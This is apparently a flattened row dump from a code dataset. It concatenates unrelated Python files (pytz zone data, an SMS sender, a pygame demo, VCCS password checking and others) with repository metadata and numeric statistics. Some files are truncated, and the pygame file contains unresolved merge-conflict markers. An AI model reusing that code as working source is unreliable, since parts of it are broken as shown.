#!/usr/bin/env python import logging import re import subprocess import time import urllib2 DIST_TEST_URL = "http://dist-test.cloudera.org" # GCE bills 10-minute minimum, so if we've started instances # more recently than 10 minutes ago, we shouldn't shut them down. SHRINK_LAG = 600 def get_stats(): page = urllib2...
28.57377
87
0.659208
255
1,743
4.32549
0.443137
0.043518
0.024479
0.040798
0.06165
0
0
0
0
0
0
0.016523
0.201377
1,743
60
88
29.05
0.775862
0.082042
0
0
0
0
0.210394
0.026299
0
0
0
0
0
0
null
null
0
0.104167
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
cae3775167ae0cae99118eee8c09154bac9abff6
2,565
py
Python
screens/mainScreen.py
superstap/jimi
d921b815c726e169c5a35f01a81eea8a75b8321d
[ "Apache-2.0" ]
111
2020-06-30T10:51:29.000Z
2022-03-29T00:33:48.000Z
screens/mainScreen.py
superstap/jimi
d921b815c726e169c5a35f01a81eea8a75b8321d
[ "Apache-2.0" ]
206
2020-07-02T22:48:49.000Z
2022-02-16T13:21:10.000Z
screens/mainScreen.py
superstap/jimi
d921b815c726e169c5a35f01a81eea8a75b8321d
[ "Apache-2.0" ]
24
2020-11-16T15:30:00.000Z
2022-02-10T03:20:14.000Z
import requests import time import os import json from pathlib import Path class mainScreen: def __init__(self): splash() self.menu = screen._screen([ ["select", None], ["select core",callSelectCore], ["time", getTime], ["splash", splash], ...
35.136986
122
0.473684
266
2,565
4.526316
0.289474
0.153654
0.149502
0.182724
0.2799
0.239203
0.200166
0.182724
0.072259
0.064784
0
0.15944
0.415595
2,565
72
123
35.625
0.643763
0.02924
0
0.107143
0
0.035714
0.452716
0.032998
0
0
0
0
0
1
0.125
false
0.035714
0.160714
0
0.321429
0.053571
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cae3d350a7769f9965a5864545deeaba068637e3
2,753
py
Python
main.py
loicgirard/pygame-3D
62b578918bdf8459779cf4f18ab542329601cd41
[ "MIT" ]
null
null
null
main.py
loicgirard/pygame-3D
62b578918bdf8459779cf4f18ab542329601cd41
[ "MIT" ]
null
null
null
main.py
loicgirard/pygame-3D
62b578918bdf8459779cf4f18ab542329601cd41
[ "MIT" ]
null
null
null
import pygame from pygame.locals import * import sys from pygame3D import * <<<<<<< HEAD import time ======= import numpy as np import time import cv2 import math >>>>>>> 8da8f0ff1109db951a4915c1aecb7f4d7de41630 pygame.init() camera = Camera(position=(0, 0, 0), rotation=(0, 0, 0), fov=137, clipping_pla...
32.77381
116
0.578641
396
2,753
3.972222
0.30303
0.029243
0.01335
0.041958
0.303242
0.219962
0.082009
0.082009
0.054673
0.054673
0
0.060519
0.243734
2,753
83
117
33.168675
0.695005
0.330185
0
0.117647
0
0
0.012651
0
0
0
0
0
0
0
null
null
0
0.176471
null
null
0.019608
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
caf034be7b02abcd1a1172a30827469cf3491119
672
py
Python
buildroot/support/testing/tests/package/test_python_pytest_asyncio.py
inverse/operating-system
bb7964ff021eebc5e194f03a2b14ccf6efc3e8d6
[ "Apache-2.0" ]
349
2021-08-17T08:46:53.000Z
2022-03-30T06:25:25.000Z
buildroot/support/testing/tests/package/test_python_pytest_asyncio.py
TopSWorld/operating-system
99a4d4ea75e5afd53f7e71422726f9d3200b25a3
[ "Apache-2.0" ]
2
2021-08-29T11:29:57.000Z
2021-08-30T12:00:05.000Z
buildroot/support/testing/tests/package/test_python_pytest_asyncio.py
TopSWorld/operating-system
99a4d4ea75e5afd53f7e71422726f9d3200b25a3
[ "Apache-2.0" ]
12
2021-08-17T20:10:30.000Z
2022-01-06T10:52:54.000Z
import os from tests.package.test_python import TestPythonPackageBase class TestPythonPy3PytestAsyncio(TestPythonPackageBase): __test__ = True config = TestPythonPackageBase.config + \ """ BR2_PACKAGE_PYTHON3=y BR2_PACKAGE_PYTHON_PYTEST=y BR2_PACKAGE_PYTHON_PYTEST_ASYNCIO=y ...
32
77
0.691964
75
672
5.88
0.493333
0.068027
0.049887
0.077098
0.104308
0
0
0
0
0
0
0.011516
0.224702
672
20
78
33.6
0.834933
0
0
0
0
0
0.102377
0.082267
0
0
0
0
0.090909
1
0.090909
false
0
0.181818
0
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
caf3064cbecd8a96460c32ca717913b340bf5d76
516
py
Python
piccolo/columns/__init__.py
Fingel/piccolo
9091e2a14aa7ac93937c1f5602721d97c975662e
[ "MIT" ]
null
null
null
piccolo/columns/__init__.py
Fingel/piccolo
9091e2a14aa7ac93937c1f5602721d97c975662e
[ "MIT" ]
null
null
null
piccolo/columns/__init__.py
Fingel/piccolo
9091e2a14aa7ac93937c1f5602721d97c975662e
[ "MIT" ]
null
null
null
from .column_types import ( # noqa: F401 Boolean, Bytea, Date, Decimal, Float, ForeignKey, Integer, Interval, JSON, JSONB, Numeric, PrimaryKey, Real, Secret, Serial, Text, Timestamp, Timestamptz, UUID, Varchar, ) from .base import ( # noq...
16.125
55
0.604651
50
516
6.22
0.74
0.102894
0.090032
0
0
0
0
0
0
0
0
0.033803
0.312016
516
31
56
16.645161
0.842254
0.083333
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.129032
0
0.129032
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
caf48cc7fd48dcdd4b394a1391829b50017bd13c
489
py
Python
src/main/resources/pytz/zoneinfo/Africa/Mbabane.py
TheEin/swagger-maven-plugin
cf93dce2d5c8d3534f4cf8c612b11e2d2313871b
[ "Apache-2.0" ]
65
2015-11-14T13:46:01.000Z
2021-08-14T05:54:04.000Z
lib/pytz/zoneinfo/Africa/Mbabane.py
tjsavage/polymer-dashboard
19bc467f1206613f8eec646b6f2bc43cc319ef75
[ "CNRI-Python", "Linux-OpenIB" ]
13
2016-03-31T20:00:17.000Z
2021-08-20T14:52:31.000Z
lib/pytz/zoneinfo/Africa/Mbabane.py
tjsavage/polymer-dashboard
19bc467f1206613f8eec646b6f2bc43cc319ef75
[ "CNRI-Python", "Linux-OpenIB" ]
20
2015-03-18T08:41:37.000Z
2020-12-18T02:58:30.000Z
'''tzinfo timezone information for Africa/Mbabane.''' from pytz.tzinfo import DstTzInfo from pytz.tzinfo import memorized_datetime as d from pytz.tzinfo import memorized_ttinfo as i class Mbabane(DstTzInfo): '''Africa/Mbabane timezone definition. See datetime.tzinfo for details''' zone = 'Africa/Mbabane' ...
21.26087
77
0.689162
71
489
4.647887
0.521127
0.118182
0.127273
0.181818
0.175758
0
0
0
0
0
0
0.07196
0.175869
489
22
78
22.227273
0.746898
0.235174
0
0
0
0
0.058011
0
0
0
0
0
0
1
0
false
0
0.214286
0
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
caf821a157dc5d0ae68a5868b42fb9f3ac134445
2,470
py
Python
app/models/registration/phone_sender.py
Tingerlink/tingerwork
0e3d360bf97a62e088f12aa72277200b75e43643
[ "MIT" ]
null
null
null
app/models/registration/phone_sender.py
Tingerlink/tingerwork
0e3d360bf97a62e088f12aa72277200b75e43643
[ "MIT" ]
null
null
null
app/models/registration/phone_sender.py
Tingerlink/tingerwork
0e3d360bf97a62e088f12aa72277200b75e43643
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Module 'phone_sender' of the project 'tingerwork' # :date_create: 11.12.2017.4:21 # :author: Tingerlink # :description: import json import requests import config.settings import tools.logger as logger class PhoneSender: def __init__(self): self.password = config.se...
44.107143
124
0.59919
293
2,470
4.924915
0.443686
0.081081
0.106029
0.116424
0.274428
0.274428
0.274428
0.274428
0.252252
0.252252
0
0.027226
0.286235
2,470
55
125
44.909091
0.791265
0.067206
0
0.2
0
0.025
0.369759
0.088314
0
0
0
0
0
1
0.1
false
0.075
0.1
0
0.325
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
caf8377c81dfe105d39fee6b3a818984e3e52135
154
py
Python
3. Linear Regresion/3-2)Autograd.py
choijiwoong/-ROKA-torch-tutorial-files
c298fdf911cd64757895c3ab9f71ae7c3467c545
[ "Unlicense" ]
null
null
null
3. Linear Regresion/3-2)Autograd.py
choijiwoong/-ROKA-torch-tutorial-files
c298fdf911cd64757895c3ab9f71ae7c3467c545
[ "Unlicense" ]
null
null
null
3. Linear Regresion/3-2)Autograd.py
choijiwoong/-ROKA-torch-tutorial-files
c298fdf911cd64757895c3ab9f71ae7c3467c545
[ "Unlicense" ]
null
null
null
import torch w=torch.tensor(2.0,requires_grad=True)#set variable y=w**2 z=2*y+5 z.backward()#grad print('수식을 w로 미분한 값 : {}'.format(w.grad))#call result
17.111111
53
0.701299
32
154
3.34375
0.71875
0
0
0
0
0
0
0
0
0
0
0.036232
0.103896
154
8
54
19.25
0.73913
0.175325
0
0
0
0
0.137097
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cafb24814eb097820d02a880a3235f040ebd6635
212
py
Python
NOV26/03.py
Razdeep/PythonSnippets
76f9313894f511c487a99bc38bdf0fe5e594caf5
[ "MIT" ]
null
null
null
NOV26/03.py
Razdeep/PythonSnippets
76f9313894f511c487a99bc38bdf0fe5e594caf5
[ "MIT" ]
null
null
null
NOV26/03.py
Razdeep/PythonSnippets
76f9313894f511c487a99bc38bdf0fe5e594caf5
[ "MIT" ]
null
null
null
# Create a dataframe using pandas series import pandas as pd cols = ['a','b'] list_of_series = [pd.Series([1,2],index=cols), pd.Series([3,4],index=cols)] df = pd.DataFrame(list_of_series, columns=cols) print(df)
30.285714
75
0.716981
38
212
3.894737
0.552632
0.081081
0.162162
0
0
0
0
0
0
0
0
0.021164
0.108491
212
7
76
30.285714
0.761905
0.179245
0
0
0
0
0.011561
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cafc0364eb82044fdfe153c9ed4bca8077eb7856
1,036
py
Python
contxt/cli/commands/assets.py
ndustrialio/contxt-sdk-python-control
e87930eb65853a314eb118ea5cbc0386d2188db2
[ "0BSD" ]
4
2019-06-04T17:59:52.000Z
2020-09-09T17:33:30.000Z
contxt/cli/commands/assets.py
ndustrialio/contxt-sdk-python-control
e87930eb65853a314eb118ea5cbc0386d2188db2
[ "0BSD" ]
61
2019-05-24T17:49:56.000Z
2022-03-24T15:22:57.000Z
contxt/cli/commands/assets.py
ndustrialio/contxt-sdk-python-control
e87930eb65853a314eb118ea5cbc0386d2188db2
[ "0BSD" ]
2
2021-12-07T01:03:56.000Z
2022-02-18T16:40:24.000Z
from typing import List import click from contxt.cli.clients import Clients from contxt.cli.utils import fields_option, print_table, sort_option from contxt.models.assets import Asset, AssetType @click.group() def assets() -> None: """Assets.""" @assets.command() @fields_option(default=["id", "label", "descri...
29.6
76
0.710425
153
1,036
4.69281
0.267974
0.072423
0.083565
0.058496
0.465181
0.392758
0.392758
0.206128
0.111421
0
0
0
0.133205
1,036
34
77
30.470588
0.799555
0.032819
0
0.347826
0
0
0.044625
0
0
0
0
0
0
1
0.130435
false
0.086957
0.217391
0
0.347826
0.130435
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
1b057e16eef03b8e12ad5db657ab5807f753c9c8
4,772
py
Python
lightshow.py
Antidisestablishmentarianism/lightshow
13d248698e0e47ed5b19fb662959c359db7dca03
[ "MIT" ]
null
null
null
lightshow.py
Antidisestablishmentarianism/lightshow
13d248698e0e47ed5b19fb662959c359db7dca03
[ "MIT" ]
null
null
null
lightshow.py
Antidisestablishmentarianism/lightshow
13d248698e0e47ed5b19fb662959c359db7dca03
[ "MIT" ]
null
null
null
#!/usr/bin/sudo / usr/bin/python import RPi.GPIO as GPIO import random from time import sleep # Use board pin numbering GPIO.setmode(GPIO.BOARD) GPIO.setwarnings(False) # Start a new dictionary with desired LED names leds = {'floor':[], 'top-left':[]} # Take name of led and list of pins for RGB def setupled(name, p...
25.794595
98
0.551341
625
4,772
4.2096
0.1872
0.125428
0.133789
0.158875
0.300266
0.295325
0.27176
0.255796
0.255796
0.255796
0
0.086277
0.276194
4,772
184
99
25.934783
0.675449
0.040025
0
0.22449
0
0
0.030389
0
0
0
0
0
0
0
null
null
0.020408
0.020408
null
null
0.006803
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1b0cffde6a4bdaa088def23eae68fff02a1bde5e
3,156
py
Python
src/vccs/server/password.py
SUNET/VCCS2
e5645bf19b92c1420559355b2bb1592792a6777b
[ "BSD-2-Clause" ]
null
null
null
src/vccs/server/password.py
SUNET/VCCS2
e5645bf19b92c1420559355b2bb1592792a6777b
[ "BSD-2-Clause" ]
null
null
null
src/vccs/server/password.py
SUNET/VCCS2
e5645bf19b92c1420559355b2bb1592792a6777b
[ "BSD-2-Clause" ]
null
null
null
from typing import List, Union from binascii import unhexlify from ndnkdf import NDNKDF from vccs.server.db import PasswordCredential from vccs.server.factors import RequestFactor from vccs.server.hasher import VCCSYHSMHasher from vccs.server.log import audit_log async def authenticate_password( cred: PasswordCr...
41.526316
123
0.676806
456
3,156
4.587719
0.432018
0.017208
0.026769
0.025813
0.06979
0.047801
0.047801
0.047801
0.047801
0.047801
0
0.035109
0.23289
3,156
75
124
42.08
0.828996
0.303549
0
0.05
0
0.05
0.158063
0.066525
0
0
0
0
0
1
0
false
0.15
0.175
0
0.225
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1